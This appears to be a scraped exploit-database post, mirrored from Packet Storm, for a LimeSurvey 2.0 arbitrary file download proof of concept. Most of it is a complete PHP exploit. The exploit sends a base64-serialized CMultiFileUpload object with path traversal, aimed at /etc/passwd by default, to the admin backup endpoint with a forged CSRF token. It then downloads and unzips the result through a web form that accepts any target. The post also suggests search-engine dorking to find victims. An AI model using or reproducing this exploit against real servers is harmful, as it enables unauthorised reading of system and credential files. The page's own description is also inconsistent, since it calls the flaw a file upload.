{“lastseen”:”2025-12-24T16:35:04″,”description”:”Limesurvey version 2.0 unauthenticated arbitrary file download proof of concept exploit…”,”published”:”2025-12-24T00:00:00″,”modified”:”2025-12-24T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Limesurvey 2.0 Arbitrary File Download”,”source”:””,”references”:””,”id”:”PACKETSTORM:213291″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”=============================================================================================================================================\\n | # Title : Limesurvey 2.0 unauthenticated file download vulnerability |\\n | # Author : indoushka |\\n | # Tested on : windows 10 Fr(Pro) \/ browser : Mozilla firefox 135.0.1 (64 bits) |\\n | # Vendor : https:\/\/www.limesurvey.org\/ |\\n =============================================================================================================================================\\n \\n POC :\\n \\n [+] Dorking \u0130n Google Or Other Search Enggine.\\n \\n [+] Code Description: This script exploits the unauthenticated file upload vulnerability in LimeSurvey, which allows an attacker to download any file from the targeted server.\\n \\n (linked: https:\/\/packetstorm.news\/files\/id\/180855\/ Linked CVE numbers: ),\\n \\t\\n [+] save code as poc.php.\\n \\n [+] USage : http:\/\/127.0.0.1\/poc.php \\n \\n [+] PayLoad :\\n \\n \\u003c?php\\n \\n class LimeSurveyExploit {\\n private $target;\\n private $filepath;\\n private $traversalDepth;\\n \\n public function __construct($target, $filepath = ‘\/etc\/passwd’, $traversalDepth = 15) {\\n $this-\\u003etarget = rtrim($target, ‘\/’);\\n $this-\\u003efilepath = $filepath;\\n $this-\\u003etraversalDepth = $traversalDepth;\\n }\\n \\n private function generatePayload() {\\n $traversal = str_repeat(‘\/..’, $this-\\u003etraversalDepth);\\n $file = $traversal . $this-\\u003efilepath;\\n $serialized = ‘a:1:{i:0;O:16:\\”CMultiFileUpload\\”:1:{s:4:\\”file\\”;s:’ . strlen($file) . ‘:\\”‘ . $file . ‘\\”;}}’;\\n return base64_encode($serialized);\\n }\\n \\n public function execute() {\\n $csrf_token = bin2hex(random_bytes(5));\\n $postFields = [\\n ‘YII_CSRF_TOKEN’ =\\u003e $csrf_token,\\n ‘destinationBuild’ =\\u003e bin2hex(random_bytes(3)),\\n ‘datasupdateinfo’ =\\u003e $this-\\u003egeneratePayload()\\n ];\\n \\n $response = $this-\\u003esendRequest(\\”{$this-\\u003etarget}\/index.php\/admin\/update\/sa\/backup\\”, $postFields, $csrf_token);\\n \\n if ($response \\u0026\\u0026 strpos($response, ‘Download this file’) !== false) {\\n if (preg_match(‘\/\\u003ca class=\\”btn btn-success\\” href=\\”([^\\”]+)\\” title=\\”Download this file\\”\\u003e\/’, $response, $matches)) {\\n $downloadUrl = $matches[1];\\n echo \\”Downloading backup from URL: $downloadUrl\\\\n\\”;\\n $this-\\u003edownloadFile($downloadUrl);\\n } else {\\n echo \\”Failed to extract download link.\\\\n\\”;\\n }\\n } else {\\n echo \\”Failed to exploit the vulnerability.\\\\n\\”;\\n }\\n }\\n \\n private function sendRequest($url, $postFields, $csrf_token) {\\n $ch = curl_init();\\n curl_setopt($ch, CURLOPT_URL, $url);\\n curl_setopt($ch, CURLOPT_POST, true);\\n curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($postFields));\\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\\n curl_setopt($ch, CURLOPT_HTTPHEADER, [\\”Cookie: YII_CSRF_TOKEN=$csrf_token\\”]);\\n $response = curl_exec($ch);\\n curl_close($ch);\\n return $response;\\n }\\n \\n private function downloadFile($url) {\\n $ch = curl_init();\\n curl_setopt($ch, CURLOPT_URL, $url);\\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\\n $data = curl_exec($ch);\\n curl_close($ch);\\n \\n if ($data) {\\n $zipFile = ‘downloaded.zip’;\\n file_put_contents($zipFile, $data);\\n echo \\”File downloaded successfully: $zipFile\\\\n\\”;\\n $this-\\u003eextractZip($zipFile);\\n } else {\\n echo \\”Failed to download file.\\\\n\\”;\\n }\\n }\\n \\n private function extractZip($zipFile) {\\n $zip = new ZipArchive;\\n if ($zip-\\u003eopen($zipFile) === TRUE) {\\n $zip-\\u003eextractTo(‘.\/extracted\/’);\\n $zip-\\u003eclose();\\n echo \\”Files extracted to .\/extracted\/\\\\n\\”;\\n } else {\\n echo \\”Failed to extract ZIP file.\\\\n\\”;\\n }\\n }\\n }\\n \\n if ($_SERVER[‘REQUEST_METHOD’] === ‘POST’) {\\n $target = $_POST[‘target’];\\n $filepath = $_POST[‘filepath’];\\n $exploit = new LimeSurveyExploit($target, $filepath);\\n $exploit-\\u003eexecute();\\n }\\n ?\\u003e\\n \\n \\u003c!DOCTYPE html\\u003e\\n \\u003chtml lang=\\”ar\\”\\u003e\\n \\u003chead\\u003e\\n \\u003cmeta charset=\\”UTF-8\\”\\u003e\\n \\u003cmeta name=\\”viewport\\” content=\\”width=device-width, initial-scale=1.0\\”\\u003e\\n \\u003ctitle\\u003e\u0627\u0633\u062a\u063a\u0644\u0627\u0644 LimeSurvey\\u003c\/title\\u003e\\n \\u003c\/head\\u003e\\n \\u003cbody\\u003e\\n \\u003ch2\\u003e\u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u062a\u062d\u0645\u064a\u0644 \u0627\u0644\u0645\u0644\u0641\u0627\u062a \u063a\u064a\u0631 \u0627\u0644\u0645\u0648\u062b\u0642 – LimeSurvey\\u003c\/h2\\u003e\\n \\u003cform method=\\”POST\\”\\u003e\\n \\u003clabel\\u003e\u0639\u0646\u0648\u0627\u0646 \u0627\u0644\u0645\u0648\u0642\u0639 \u0627\u0644\u0645\u0633\u062a\u0647\u062f\u0641:\\u003c\/label\\u003e\\n \\u003cinput type=\\”text\\” name=\\”target\\” required\\u003e\\u003cbr\\u003e\\n \\u003clabel\\u003e\u0627\u0644\u0645\u0633\u0627\u0631 \u0627\u0644\u0645\u0637\u0644\u0648\u0628:\\u003c\/label\\u003e\\n \\u003cinput type=\\”text\\” name=\\”filepath\\” value=\\”\/etc\/passwd\\” required\\u003e\\u003cbr\\u003e\\n \\u003cbutton type=\\”submit\\”\\u003e\u062a\u0646\u0641\u064a\u0630\\u003c\/button\\u003e\\n \\u003c\/form\\u003e\\n \\u003c\/body\\u003e\\n \\u003c\/html\\u003e\\n \\n \\n \\n Greetings to :=====================================================================================\\n jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n ===================================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/213291″,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/213291\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-12-24T16:35:04″,”description”:”Limesurvey version 2.0 unauthenticated arbitrary file download proof of concept exploit…”,”published”:”2025-12-24T00:00:00″,”modified”:”2025-12-24T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Limesurvey 2.0 Arbitrary File Download”,”source”:””,”references”:””,”id”:”PACKETSTORM:213291″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”=============================================================================================================================================\\n | # Title : Limesurvey 2.0 unauthenticated file download…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-32693","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n